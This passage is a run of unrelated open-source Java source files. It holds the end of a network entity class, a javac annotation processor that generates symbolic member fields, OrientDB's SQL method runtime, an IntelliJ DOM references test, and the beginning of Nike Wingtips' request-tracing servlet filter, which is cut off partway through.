* Set the last seen timestamp and also update {@link Entity#activeSince}
* if appropriate
* @param lastSeenTimestamp the new last seen timestamp
* @see {@link Entity#activeSince}
*/
public void setLastSeenTimestamp(Date lastSeenTimestamp) {
if (activeSince == null ||
(activeSince.getTime() + ACTIVITY_TIMEOUT) <
lastSeenTimestamp.getTime())
this.activeSince = lastSeenTimestamp;
this.lastSeenTimestamp = lastSeenTimestamp;
}
public Date getActiveSince() {
return activeSince;
}
public void setActiveSince(Date activeSince) {
this.activeSince = activeSince;
}
@Override
public int hashCode() {
if (hashCode != 0) return hashCode;
final int prime = 31;
hashCode = 1;
hashCode = prime * hashCode
+ ((ipv4Address == null) ? 0 : ipv4Address.hashCode());
hashCode = prime * hashCode + (int) (macAddress ^ (macAddress >>> 32));
hashCode = prime * hashCode
+ ((switchDPID == null) ? 0 : switchDPID.hashCode());
hashCode = prime * hashCode
+ ((switchPort == null) ? 0 : switchPort.hashCode());
hashCode = prime * hashCode + ((vlan == null) ? 0 : vlan.hashCode());
return hashCode;
}
@Override
public boolean equals(Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
Entity other = (Entity) obj;
if (hashCode() != other.hashCode()) return false;
if (ipv4Address == null) {
if (other.ipv4Address != null) return false;
} else if (!ipv4Address.equals(other.ipv4Address)) return false;
if (macAddress != other.macAddress) return false;
if (switchDPID == null) {
if (other.switchDPID != null) return false;
} else if (!switchDPID.equals(other.switchDPID)) return false;
if (switchPort == null) {
if (other.switchPort != null) return false;
} else if (!switchPort.equals(other.switchPort)) return false;
if (vlan == null) {
if (other.vlan != null) return false;
} else if (!vlan.equals(other.vlan)) return false;
return true;
}
@Override
public String toString() {
StringBuilder builder = new StringBuilder();
builder.append("Entity [macAddress=");
builder.append(HexString.toHexString(macAddress, 6));
builder.append(", ipv4Address=");
builder.append(IPv4.fromIPv4Address(ipv4Address==null ?
0 : ipv4Address.intValue()));
builder.append(", vlan=");
builder.append(vlan);
builder.append(", switchDPID=");
builder.append(switchDPID);
builder.append(", switchPort=");
builder.append(switchPort);
builder.append(", lastSeenTimestamp=");
builder.append(lastSeenTimestamp == null? "null" : lastSeenTimestamp.getTime());
builder.append(", activeSince=");
builder.append(activeSince == null? "null" : activeSince.getTime());
builder.append("]");
return builder.toString();
}
@Override
public int compareTo(Entity o) {
if (macAddress < o.macAddress) return -1;
if (macAddress > o.macAddress) return 1;
int r;
if (switchDPID == null)
r = o.switchDPID == null ? 0 : -1;
else if (o.switchDPID == null)
r = 1;
else
r = switchDPID.compareTo(o.switchDPID);
if (r != 0) return r;
if (switchPort == null)
r = o.switchPort == null ? 0 : -1;
else if (o.switchPort == null)
r = 1;
else
r = switchPort.compareTo(o.switchPort);
if (r != 0) return r;
if (ipv4Address == null)
r = o.ipv4Address == null ? 0 : -1;
else if (o.ipv4Address == null)
r = 1;
else
r = ipv4Address.compareTo(o.ipv4Address);
if (r != 0) return r;
if (vlan == null)
r = o.vlan == null ? 0 : -1;
else if (o.vlan == null)
r = 1;
else
r = vlan.compareTo(o.vlan);
if (r != 0) return r;
return 0;
}
}
| |
/*
* Copyright 2015-2017 Bernard Blaser
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package symprog;
import java.lang.reflect.Modifier;
import java.util.Set;
import javax.annotation.processing.*;
import javax.lang.model.SourceVersion;
import javax.lang.model.element.*;
import com.sun.source.util.Trees;
import com.sun.tools.javac.code.*;
import com.sun.tools.javac.code.Symbol.ClassSymbol;
import com.sun.tools.javac.code.Symbol.VarSymbol;
import com.sun.tools.javac.processing.JavacProcessingEnvironment;
import com.sun.tools.javac.tree.*;
import com.sun.tools.javac.tree.JCTree.*;
import com.sun.tools.javac.util.Name;
import com.sun.tools.javac.util.*;
import com.sun.tools.javac.jvm.ClassReader;
/**
* Annotation processor that provides symbolic access to class members.
*
* @author Bernard Blaser
*
*/
@SupportedAnnotationTypes("symprog.Symbolic")
@SupportedSourceVersion(SourceVersion.RELEASE_8)
public class SymProc extends AbstractProcessor {
@Override
public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment re) {
if (!re.processingOver()) {
SymbolGenerator gen = new SymbolGenerator(
((JavacProcessingEnvironment) processingEnv).getContext()
);
for (Element e: re.getRootElements()) {
JCTree tree = (JCTree) Trees.instance(processingEnv).getTree(e);
tree.accept(gen);
}
}
return true;
}
private static class SymbolGenerator extends TreeTranslator {
private TreeMaker nodes;
private Names names;
private Types types;
private Symtab symtab;
private ClassReader classes;
private SymbolGenerator(Context context) {
nodes = TreeMaker.instance(context);
names = Names.instance(context);
types = Types.instance(context);
symtab = Symtab.instance(context);
classes = ClassReader.instance(context);
}
@Override
public void visitClassDef(JCClassDecl tree) {
super.visitClassDef(tree);
if (tree.sym != null) {
// Not anonymous
System.out.println("Generate symbols for class: " +
tree.sym.flatname);
generateSymbols(tree);
}
}
private void generateSymbols(JCClassDecl clazz) {
List<JCTree> newDefs = List.from(clazz.defs);
for (JCTree decl: clazz.defs) {
if (decl instanceof JCMethodDecl) {
JCMethodDecl met = (JCMethodDecl) decl;
// TODO remove annotation after processing?
Symbolic symbolic = met.sym.getAnnotation(Symbolic.class);
Name name = met.name;
if (symbolic != null) {
// TODO compiler output?
System.out.println("|-" + name + " -> " + symbolic.value()+name+symbolic.suffix());
List<String> paramsTypes = List.nil();
for (VarSymbol param: met.sym.getParameters()) {
Type erasure = param.erasure(types);
paramsTypes = paramsTypes.append(translate(erasure));
}
newDefs = newDefs.append(generateSymbol(
MethodSymbol.class.getName(),
symbolic,
clazz.sym.flatname.toString(),
name.toString(),
met.sym.flags(),
decl.getStartPosition(),
paramsTypes));
}
}
else if (decl instanceof JCVariableDecl) {
JCVariableDecl var = (JCVariableDecl) decl;
Symbolic symbolic = var.sym.getAnnotation(Symbolic.class);
Name name = var.name;
if (symbolic != null) {
System.out.println("|-" + name + " -> " + symbolic.value()+name+symbolic.suffix());
newDefs = newDefs.append(generateSymbol(
FieldSymbol.class.getName(),
symbolic,
clazz.sym.flatname.toString(),
name.toString(),
var.sym.flags(),
decl.getStartPosition(),
null));
}
}
}
clazz.defs = newDefs;
}
/**
* Generates a symbolic field declaration representing a member (field or method).<br>
*
* @param symbolTypeName : generated symbolic field's flat type name
* (<b><code>symprog.FieldSymbol</code></b> or <b><code>symprog.MethodSymbol</code></b>)
* @param symbolic : member's symbolic annotation
* @param className : member's flat class name
* (ex. <b><code>mypackage.MyClass$MyInner</code></b>)
* @param name : member's name
* @param flags : member's access flags
* @param position : member's position
* @param params : method's parameter types; compatible with <b><code>Class.forName()</code></b>,
* <b><code>null</code></b> for fields
*
* @return symbolic field's declaration
*/
private JCVariableDecl generateSymbol(
String symbolTypeName,
Symbolic symbolic,
String className,
String name,
long flags,
int position,
List<String> params
) {
className = symbolic.origin().isEmpty() ? className : symbolic.origin();
JCExpression[] symbolParams = new JCExpression[] {
nodes.Literal(className),
nodes.Literal(name)
};
List<JCExpression> paramslist = List.from(symbolParams);
if(params != null) {
List<JCExpression> erasures = List.nil();
for (String param: params) {
erasures = erasures.append(nodes.Literal(param));
}
paramslist = paramslist.append(nodes.NewArray(
nodes.Type(symtab.stringType),
List.nil(),
erasures));
}
ClassSymbol cs = classes.loadClass(names.fromString(symbolTypeName));
JCExpression symbolType = nodes.QualIdent(cs);
JCExpression newSymbol = nodes.NewClass(
null, null,
symbolType,
paramslist,
null
);
return nodes.at(position).VarDef(
nodes.Modifiers(symbolic.flags() != Symbolic.SAME ? symbolic.flags() : flags),
names.fromString(symbolic.value() + name + symbolic.suffix()),
symbolType,
newSymbol);
}
private String translate(Type type) {
String trim = "";
if (type instanceof Type.ArrayType) {
Type elem = type;
while (elem instanceof Type.ArrayType) {
elem = ((Type.ArrayType)elem).elemtype;
trim += "[";
}
trim += arrayName(elem.tsym.flatName().toString().trim());
}
else {
trim = type.tsym.flatName().toString().trim();
}
System.out.println(" |-" + trim);
return trim;
}
private String arrayName(String type) {
if (type.equals(boolean.class.getName().trim()))
return "Z";
else if (type.equals(byte.class.getName().trim()))
return "B";
else if (type.equals(char.class.getName().trim()))
return "C";
else if (type.equals(double.class.getName().trim()))
return "D";
else if (type.equals(float.class.getName().trim()))
return "F";
else if(type.equals(int.class.getName().trim()))
return "I";
else if (type.equals(long.class.getName().trim()))
return "J";
else if (type.equals(short.class.getName().trim()))
return "S";
else return "L" + type + ";";
}
}
}
| |
/*
*
* * Copyright 2014 Orient Technologies LTD (info(at)orientechnologies.com)
* *
* * Licensed under the Apache License, Version 2.0 (the "License");
* * you may not use this file except in compliance with the License.
* * You may obtain a copy of the License at
* *
* * http://www.apache.org/licenses/LICENSE-2.0
* *
* * Unless required by applicable law or agreed to in writing, software
* * distributed under the License is distributed on an "AS IS" BASIS,
* * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* * See the License for the specific language governing permissions and
* * limitations under the License.
* *
* * For more information: http://www.orientechnologies.com
*
*/
package com.orientechnologies.orient.core.sql.methods;
import com.orientechnologies.common.collection.OMultiValue;
import com.orientechnologies.common.io.OIOUtils;
import com.orientechnologies.common.parser.OBaseParser;
import com.orientechnologies.orient.core.command.OCommandContext;
import com.orientechnologies.orient.core.command.OCommandExecutorNotFoundException;
import com.orientechnologies.orient.core.db.record.OIdentifiable;
import com.orientechnologies.orient.core.exception.OCommandExecutionException;
import com.orientechnologies.orient.core.record.ORecord;
import com.orientechnologies.orient.core.record.impl.ODocument;
import com.orientechnologies.orient.core.serialization.serializer.OStringSerializerHelper;
import com.orientechnologies.orient.core.sql.OCommandSQL;
import com.orientechnologies.orient.core.sql.OCommandSQLParsingException;
import com.orientechnologies.orient.core.sql.OSQLEngine;
import com.orientechnologies.orient.core.sql.OSQLHelper;
import com.orientechnologies.orient.core.sql.filter.OSQLFilterItemAbstract;
import com.orientechnologies.orient.core.sql.filter.OSQLFilterItemField;
import com.orientechnologies.orient.core.sql.filter.OSQLFilterItemVariable;
import com.orientechnologies.orient.core.sql.filter.OSQLPredicate;
import com.orientechnologies.orient.core.sql.functions.OSQLFunctionRuntime;
import com.orientechnologies.orient.core.sql.method.OSQLMethod;
import java.util.List;
/**
* Wraps function managing the binding of parameters.
*
* @author Luca Garulli (l.garulli--at--orientechnologies.com)
*
*/
public class OSQLMethodRuntime extends OSQLFilterItemAbstract implements Comparable<OSQLMethodRuntime> {
public OSQLMethod method;
public Object[] configuredParameters;
public Object[] runtimeParameters;
public OSQLMethodRuntime(final OBaseParser iQueryToParse, final String iText) {
super(iQueryToParse, iText);
}
public OSQLMethodRuntime(final OSQLMethod iFunction) {
method = iFunction;
}
/**
* Execute a method.
*
* @param iCurrentRecord
* Current record
* @param iCurrentResult
* TODO
* @param iContext
* @return
*/
public Object execute(final Object iThis, final OIdentifiable iCurrentRecord, final Object iCurrentResult,
final OCommandContext iContext) {
if (iThis == null)
return null;
if (configuredParameters != null) {
// RESOLVE VALUES USING THE CURRENT RECORD
for (int i = 0; i < configuredParameters.length; ++i) {
runtimeParameters[i] = configuredParameters[i];
if (method.evaluateParameters()) {
if (configuredParameters[i] instanceof OSQLFilterItemField) {
runtimeParameters[i] = ((OSQLFilterItemField) configuredParameters[i]).getValue(iCurrentRecord, iCurrentResult,
iContext);
if (runtimeParameters[i] == null && iCurrentResult instanceof OIdentifiable)
// LOOK INTO THE CURRENT RESULT
runtimeParameters[i] = ((OSQLFilterItemField) configuredParameters[i]).getValue((OIdentifiable) iCurrentResult,
iCurrentResult, iContext);
} else if (configuredParameters[i] instanceof OSQLMethodRuntime)
runtimeParameters[i] = ((OSQLMethodRuntime) configuredParameters[i]).execute(iThis, iCurrentRecord, iCurrentResult,
iContext);
else if (configuredParameters[i] instanceof OSQLFunctionRuntime)
runtimeParameters[i] = ((OSQLFunctionRuntime) configuredParameters[i]).execute(iThis, iCurrentRecord, iCurrentResult,
iContext);
else if (configuredParameters[i] instanceof OSQLFilterItemVariable) {
runtimeParameters[i] = ((OSQLFilterItemVariable) configuredParameters[i]).getValue(iCurrentRecord, iCurrentResult,
iContext);
if (runtimeParameters[i] == null && iCurrentResult instanceof OIdentifiable)
// LOOK INTO THE CURRENT RESULT
runtimeParameters[i] = ((OSQLFilterItemVariable) configuredParameters[i]).getValue((OIdentifiable) iCurrentResult,
iCurrentResult, iContext);
} else if (configuredParameters[i] instanceof OCommandSQL) {
try {
runtimeParameters[i] = ((OCommandSQL) configuredParameters[i]).setContext(iContext).execute();
} catch (OCommandExecutorNotFoundException e) {
// TRY WITH SIMPLE CONDITION
final String text = ((OCommandSQL) configuredParameters[i]).getText();
final OSQLPredicate pred = new OSQLPredicate(text);
runtimeParameters[i] = pred.evaluate(iCurrentRecord instanceof ORecord ? (ORecord) iCurrentRecord : null,
(ODocument) iCurrentResult, iContext);
// REPLACE ORIGINAL PARAM
configuredParameters[i] = pred;
}
} else if (configuredParameters[i] instanceof OSQLPredicate)
runtimeParameters[i] = ((OSQLPredicate) configuredParameters[i]).evaluate(iCurrentRecord.getRecord(),
(iCurrentRecord instanceof ODocument ? (ODocument) iCurrentResult : null), iContext);
else if (configuredParameters[i] instanceof String) {
if (configuredParameters[i].toString().startsWith("\"") || configuredParameters[i].toString().startsWith("'"))
runtimeParameters[i] = OIOUtils.getStringContent(configuredParameters[i]);
}
}
}
if (method.getMaxParams() == -1 || method.getMaxParams() > 0) {
if (runtimeParameters.length < method.getMinParams()
|| (method.getMaxParams() > -1 && runtimeParameters.length > method.getMaxParams()))
throw new OCommandExecutionException("Syntax error: function '"
+ method.getName()
+ "' needs "
+ (method.getMinParams() == method.getMaxParams() ? method.getMinParams() : method.getMinParams() + "-"
+ method.getMaxParams()) + " argument(s) while has been received " + runtimeParameters.length);
}
}
final Object functionResult = method.execute(iThis, iCurrentRecord, iContext, iCurrentResult, runtimeParameters);
return transformValue(iCurrentRecord, iContext, functionResult);
}
@Override
public Object getValue(final OIdentifiable iRecord, Object iCurrentResult, OCommandContext iContext) {
final ODocument current = iRecord != null ? (ODocument) iRecord.getRecord() : null;
return execute(current, current, null, iContext);
}
@Override
public String getRoot() {
return method.getName();
}
@Override
protected void setRoot(final OBaseParser iQueryToParse, final String iText) {
final int beginParenthesis = iText.indexOf('(');
// SEARCH FOR THE FUNCTION
final String funcName = iText.substring(0, beginParenthesis);
final List<String> funcParamsText = OStringSerializerHelper.getParameters(iText);
method = OSQLEngine.getInstance().getMethod(funcName);
if (method == null)
throw new OCommandSQLParsingException("Unknown method " + funcName + "()");
// PARSE PARAMETERS
this.configuredParameters = new Object[funcParamsText.size()];
for (int i = 0; i < funcParamsText.size(); ++i)
this.configuredParameters[i] = funcParamsText.get(i);
setParameters(configuredParameters, true);
}
public OSQLMethodRuntime setParameters(final Object[] iParameters, final boolean iEvaluate) {
if (iParameters != null) {
this.configuredParameters = new Object[iParameters.length];
for (int i = 0; i < iParameters.length; ++i) {
this.configuredParameters[i] = iParameters[i];
if (iParameters[i] != null) {
if (iParameters[i] instanceof String && !iParameters[i].toString().startsWith("[")) {
final Object v = OSQLHelper.parseValue(null, null, iParameters[i].toString(), null);
if (v == OSQLHelper.VALUE_NOT_PARSED
|| (v != null && OMultiValue.isMultiValue(v) && OMultiValue.getFirstValue(v) == OSQLHelper.VALUE_NOT_PARSED))
continue;
configuredParameters[i] = v;
}
} else
this.configuredParameters[i] = null;
}
// COPY STATIC VALUES
this.runtimeParameters = new Object[configuredParameters.length];
for (int i = 0; i < configuredParameters.length; ++i) {
if (!(configuredParameters[i] instanceof OSQLFilterItemField) && !(configuredParameters[i] instanceof OSQLMethodRuntime))
runtimeParameters[i] = configuredParameters[i];
}
}
return this;
}
public OSQLMethod getMethod() {
return method;
}
public Object[] getConfiguredParameters() {
return configuredParameters;
}
public Object[] getRuntimeParameters() {
return runtimeParameters;
}
@Override
public int compareTo(final OSQLMethodRuntime o) {
return method.compareTo(o.getMethod());
}
}
| |
/*
* Copyright 2000-2015 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.intellij.util.xml;
import com.intellij.openapi.util.TextRange;
import com.intellij.psi.*;
import com.intellij.psi.search.GlobalSearchScope;
import com.intellij.psi.xml.XmlAttributeValue;
import com.intellij.psi.xml.XmlTag;
import com.intellij.psi.xml.XmlTagValue;
import com.intellij.util.xml.impl.GenericDomValueReference;
import org.jetbrains.annotations.NotNull;
import java.util.*;
/**
* @author peter
*/
public class DomReferencesTest extends DomHardCoreTestCase {
public void testMetaData() {
final MyElement element = createElement("");
element.getName().setValue("A");
final XmlTag tag = element.getXmlTag();
final DomMetaData metaData = assertInstanceOf(tag.getMetaData(), DomMetaData.class);
assertEquals(tag, metaData.getDeclaration());
assertOrderedEquals(metaData.getDependencies(), DomUtil.getFileElement(element), tag);
assertEquals("A", metaData.getName());
assertEquals("A", metaData.getName(null));
metaData.setName("B");
assertEquals("B", element.getName().getValue());
}
public void testNameReference() {
final MyElement element = createElement("<a><name>abc</name></a>");
final DomTarget target = DomTarget.getTarget(element);
assertNotNull(target);
final XmlTag tag = element.getName().getXmlTag();
assertNull(tag.getContainingFile().findReferenceAt(tag.getValue().getTextRange().getStartOffset()));
}
public void testProcessingInstruction() {
createElement("<a><?xml version=\"1.0\"?></a>").getXmlTag().accept(new PsiRecursiveElementVisitor() {
@Override public void visitElement(@NotNull PsiElement element) {
super.visitElement(element);
for (final PsiReference reference : element.getReferences()) {
assertFalse(reference instanceof GenericDomValueReference);
}
}
});
}
public void testBooleanReference() {
final MyElement element = createElement("<a><boolean>true</boolean></a>");
assertVariants(assertReference(element.getBoolean()), "false", "true");
}
public void testBooleanAttributeReference() {
final MyElement element = createElement("<a boolean-attribute=\"true\"/>");
final PsiReference reference = getReference(element.getBooleanAttribute());
assertVariants(reference, "false", "true");
final XmlAttributeValue xmlAttributeValue = element.getBooleanAttribute().getXmlAttributeValue();
final PsiElement psiElement = reference.getElement();
assertEquals(xmlAttributeValue, psiElement);
assertEquals(new TextRange(0, "true".length()).shiftRight(1), reference.getRangeInElement());
}
public void testEnumReference() {
assertVariants(assertReference(createElement("<a><enum>239</enum></a>").getEnum(), null), "A", "B", "C");
assertVariants(assertReference(createElement("<a><enum>A</enum></a>").getEnum()), "A", "B", "C");
}
public void testPsiClass() {
final MyElement element = createElement("<a><psi-class>java.lang.String</psi-class></a>");
assertReference(element.getPsiClass(), PsiType.getJavaLangString(getPsiManager(), GlobalSearchScope.allScope(getProject())).resolve(),
element.getPsiClass().getXmlTag().getValue().getTextRange().getEndOffset() - 1);
}
public void testPsiType() {
final MyElement element = createElement("<a><psi-type>java.lang.String</psi-type></a>");
assertReference(element.getPsiType(), PsiType.getJavaLangString(getPsiManager(), GlobalSearchScope.allScope(getProject())).resolve());
}
public void testIndentedPsiType() {
final MyElement element = createElement("<a><psi-type> java.lang.Strin </psi-type></a>");
final PsiReference psiReference = assertReference(element.getPsiType(), null);
assertEquals(new TextRange(22, 22 + "Strin".length()), psiReference.getRangeInElement());
}
public void testPsiPrimitiveType() {
final MyElement element = createElement("<a><psi-type>int</psi-type></a>");
assertReference(element.getPsiType());
}
public void testPsiPrimitiveTypeArray() {
final MyElement element = createElement("<a><psi-type>int[]</psi-type></a>");
final GenericDomValue value = element.getPsiType();
final XmlTagValue tagValue = value.getXmlTag().getValue();
final int i = tagValue.getText().indexOf(value.getStringValue());
assertReference(value, value.getXmlTag(), tagValue.getTextRange().getStartOffset() + i + "int".length());
}
public void testPsiUnknownType() {
final MyElement element = createElement("<a><psi-type>#$^%*$</psi-type></a>");
assertReference(element.getPsiType(), null);
}
public void testPsiArrayType() {
final MyElement element = createElement("<a><psi-type>java.lang.String[]</psi-type></a>");
final XmlTag tag = element.getPsiType().getXmlTag();
final TextRange valueRange = tag.getValue().getTextRange();
final PsiReference reference = tag.getContainingFile().findReferenceAt(valueRange.getStartOffset() + "java.lang.".length());
assertNotNull(reference);
assertEquals(PsiType.getJavaLangString(getPsiManager(), GlobalSearchScope.allScope(getProject())).resolve(), reference.resolve());
assertEquals("<psi-type>java.lang.".length(), reference.getRangeInElement().getStartOffset());
assertEquals("String".length(), reference.getRangeInElement().getLength());
}
public void testJvmArrayType() {
final MyElement element = createElement("<a><jvm-psi-type>[Ljava.lang.String;</jvm-psi-type></a>");
final XmlTag tag = element.getJvmPsiType().getXmlTag();
final TextRange valueRange = tag.getValue().getTextRange();
final PsiReference reference = tag.getContainingFile().findReferenceAt(valueRange.getEndOffset() - 1);
assertNotNull(reference);
assertEquals(PsiType.getJavaLangString(getPsiManager(), GlobalSearchScope.allScope(getProject())).resolve(), reference.resolve());
assertEquals("<jvm-psi-type>[Ljava.lang.".length(), reference.getRangeInElement().getStartOffset());
assertEquals("String".length(), reference.getRangeInElement().getLength());
}
public void testCustomResolving() {
final MyElement element = createElement("<a><string-buffer>239</string-buffer></a>");
assertVariants(assertReference(element.getStringBuffer()), "239", "42", "foo", "zzz");
}
public void testAdditionalValues() {
final MyElement element = createElement("<a><string-buffer>zzz</string-buffer></a>");
final XmlTag tag = element.getStringBuffer().getXmlTag();
assertTrue(tag.getContainingFile().findReferenceAt(tag.getValue().getTextRange().getStartOffset()).isSoft());
}
public interface MyElement extends DomElement {
GenericDomValue<Boolean> getBoolean();
GenericAttributeValue<Boolean> getBooleanAttribute();
@Convert(MyStringConverter.class)
GenericDomValue<String> getConvertedString();
GenericDomValue<MyEnum> getEnum();
@NameValue GenericDomValue<String> getName();
GenericDomValue<PsiClass> getPsiClass();
GenericDomValue<PsiType> getPsiType();
@Convert(JvmPsiTypeConverter.class)
GenericDomValue<PsiType> getJvmPsiType();
List<GenericDomValue<MyEnum>> getEnumChildren();
@Convert(MyStringBufferConverter.class)
GenericDomValue<StringBuffer> getStringBuffer();
MyAbstractElement getChild();
MyElement getRecursiveChild();
List<MyGenericValue> getMyGenericValues();
MyGenericValue getMyAnotherGenericValue();
}
@Convert(MyStringConverter.class)
public interface MyGenericValue extends GenericDomValue<String> {
}
public interface MySomeInterface {
GenericValue<PsiType> getFoo();
}
public interface MyAbstractElement extends DomElement {
GenericAttributeValue<String> getFubar239();
GenericAttributeValue<Runnable> getFubar();
}
public interface MyFooElement extends MyAbstractElement, MySomeInterface {
@Override
GenericDomValue<PsiType> getFoo();
GenericAttributeValue<Set> getFubar2();
}
public interface MyBarElement extends MyAbstractElement {
GenericDomValue<StringBuffer> getBar();
}
public enum MyEnum {
A,B,C
}
public static class MyStringConverter extends ResolvingConverter<String> {
@Override
@NotNull
public Collection<String> getVariants(final ConvertContext context) {
return Collections.emptyList();
}
@Override
public String fromString(final String s, final ConvertContext context) {
return s;
}
@Override
public String toString(final String s, final ConvertContext context) {
return s;
}
}
public static class MyStringBufferConverter extends ResolvingConverter<StringBuffer> {
@Override
public StringBuffer fromString(final String s, final ConvertContext context) {
return s == null ? null : new StringBuffer(s);
}
@Override
public String toString(final StringBuffer t, final ConvertContext context) {
return t == null ? null : t.toString();
}
@NotNull
@Override
public Collection<StringBuffer> getVariants(final ConvertContext context) {
return Arrays.asList(new StringBuffer("239"), new StringBuffer("42"), new StringBuffer("foo"));
}
@NotNull
@Override
public Set<String> getAdditionalVariants(@NotNull ConvertContext context) {
return Collections.singleton("zzz");
}
}
}
| |
package com.nike.wingtips.servlet;
import com.nike.internal.util.StringUtils;
import com.nike.wingtips.Span;
import com.nike.wingtips.TraceHeaders;
import com.nike.wingtips.Tracer;
import com.nike.wingtips.servlet.tag.ServletRequestTagAdapter;
import com.nike.wingtips.tags.HttpTagAndSpanNamingAdapter;
import com.nike.wingtips.tags.HttpTagAndSpanNamingStrategy;
import com.nike.wingtips.tags.NoOpHttpTagStrategy;
import com.nike.wingtips.tags.OpenTracingHttpTagStrategy;
import com.nike.wingtips.tags.ZipkinHttpTagStrategy;
import com.nike.wingtips.util.TracingState;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import static com.nike.wingtips.servlet.ServletRuntime.ASYNC_LISTENER_CLASSNAME;
import static com.nike.wingtips.util.AsyncWingtipsHelperJava7.unlinkTracingFromCurrentThread;
/**
* Makes sure distributed tracing is handled for each request. Sets up the span for incoming requests (either an
* entirely new root span or one with a parent, depending on what is in the incoming request's headers), and also sets
* the {@link TraceHeaders#TRACE_ID} on the response. This is designed to only run once per request.
*
* <p>Span naming and automatic tagging is controlled via the {@link HttpTagAndSpanNamingStrategy} and
* {@link HttpTagAndSpanNamingAdapter} that this class is initialized with. You specify which implementations you want
* via the {@link #TAG_AND_SPAN_NAMING_STRATEGY_INIT_PARAM_NAME} and {@link
* #TAG_AND_SPAN_NAMING_ADAPTER_INIT_PARAM_NAME} init params.
*
* <p>NOTE: You can override {@link #getUserIdHeaderKeys()} if your service is expecting user ID header(s) and you can't
* (or don't want to) set up those headers via the {@link #USER_ID_HEADER_KEYS_LIST_INIT_PARAM_NAME} init parameter.
* Similarly, you can override {@link #initializeTagAndNamingStrategy(FilterConfig)} and/or {@link
* #initializeTagAndNamingAdapter(FilterConfig)} if you can't (or don't want to) configure them via the
* {@link #TAG_AND_SPAN_NAMING_STRATEGY_INIT_PARAM_NAME} and {@link #TAG_AND_SPAN_NAMING_ADAPTER_INIT_PARAM_NAME}
* init params.
*
* <p>This class supports Servlet 3 async requests when running in a Servlet 3+ environment. It also supports running
* in a Servlet 2.x environment.
*
* @author Nic Munroe
*/
@SuppressWarnings("WeakerAccess")
public class RequestTracingFilter implements Filter {
private final Logger logger = LoggerFactory.getLogger(this.getClass());
/**
* This attribute key will be set to a value of true via {@link ServletRequest#setAttribute(String, Object)} the
* first time this filter's distributed tracing logic is run for any given request. This filter will then see this
* attribute on any subsequent executions for the same request and continue the filter chain without executing the
* distributed tracing logic again to make sure this filter's logic is only executed once per request.
*
* <p>If you want to prevent this filter from executing on specific requests then you can override {@link
* #skipDispatch(HttpServletRequest)} to return true for any requests where you don't want distributed tracing to
* occur.
*/
public static final String FILTER_HAS_ALREADY_EXECUTED_ATTRIBUTE = "RequestTracingFilterAlreadyFiltered";
/**
* Corresponds to {@link javax.servlet.RequestDispatcher#ERROR_REQUEST_URI}. This will be populated in the request
* attributes during an error dispatch.
*
* @deprecated This is no longer being used and will be removed in a future update.
*/
@Deprecated
public static final String ERROR_REQUEST_URI_ATTRIBUTE = "javax.servlet.error.request_uri";
/**
* The param name for the "list of user ID header keys" init param for this filter. The value of this init param
* will be parsed for the list of user ID header keys to use when calling {@link
* HttpSpanFactory#fromHttpServletRequest(HttpServletRequest, List)} or {@link
* HttpSpanFactory#getUserIdFromHttpServletRequest(HttpServletRequest, List)}. The value for this init param is
* expected to be a comma-delimited list.
*/
public static final String USER_ID_HEADER_KEYS_LIST_INIT_PARAM_NAME = "user-id-header-keys-list";
/**
* The param name for the {@link HttpTagAndSpanNamingStrategy} that should be used by this filter for span naming
* and tagging. {@link #initializeTagAndNamingStrategy(FilterConfig)} is used to interpret the value of this init
* param. You can pass a fully qualified class name to specify a custom impl, or you can pass one of the following
* short names:
* <ul>
* <li>{@code ZIPKIN} - short for {@link ZipkinHttpTagStrategy}</li>
* <li>{@code OPENTRACING} - short for {@link OpenTracingHttpTagStrategy}</li>
* <li>{@code NONE} - short for {@link com.nike.wingtips.tags.NoOpHttpTagStrategy}</li>
* </ul>
* If left unspecified, then {@link #getDefaultTagStrategy()} is used (defaults to
* {@link ZipkinHttpTagStrategy}).
*/
public static final String TAG_AND_SPAN_NAMING_STRATEGY_INIT_PARAM_NAME =
"server-side-span-tag-and-naming-strategy";
/**
* The param name for the {@link HttpTagAndSpanNamingAdapter} that should be used by this filter for span naming
* and tagging. {@link #initializeTagAndNamingAdapter(FilterConfig)} is used to interpret the value of this init
* param. You can pass a fully qualified class name to specify a custom impl.
*
* <p>If left unspecified, then {@link #getDefaultTagAdapter()} is used (defaults to
* {@link ServletRequestTagAdapter}).
*/
public static final String TAG_AND_SPAN_NAMING_ADAPTER_INIT_PARAM_NAME =
"server-side-span-tag-and-naming-adapter";
protected ServletRuntime servletRuntime;
protected List<String> userIdHeaderKeysFromInitParam;
/**
* This {@link HttpTagAndSpanNamingStrategy} is responsible for naming spans and tagging them with metadata from
* the request and responses handled by this Servlet filter.
*/
protected HttpTagAndSpanNamingStrategy<HttpServletRequest, HttpServletResponse> tagAndNamingStrategy;
/**
* This {@link HttpTagAndSpanNamingAdapter} is used by {@link #tagAndNamingStrategy}, for the purpose of naming
* spans and tagging them with request/response metadata.
*/
protected HttpTagAndSpanNamingAdapter<HttpServletRequest, HttpServletResponse> tagAndNamingAdapter;
@Override
@SuppressWarnings("RedundantThrows")
public void init(FilterConfig filterConfig) throws ServletException {
this.userIdHeaderKeysFromInitParam = initializeUserIdHeaderKeys(filterConfig);
this.tagAndNamingStrategy = initializeTagAndNamingStrategy(filterConfig);
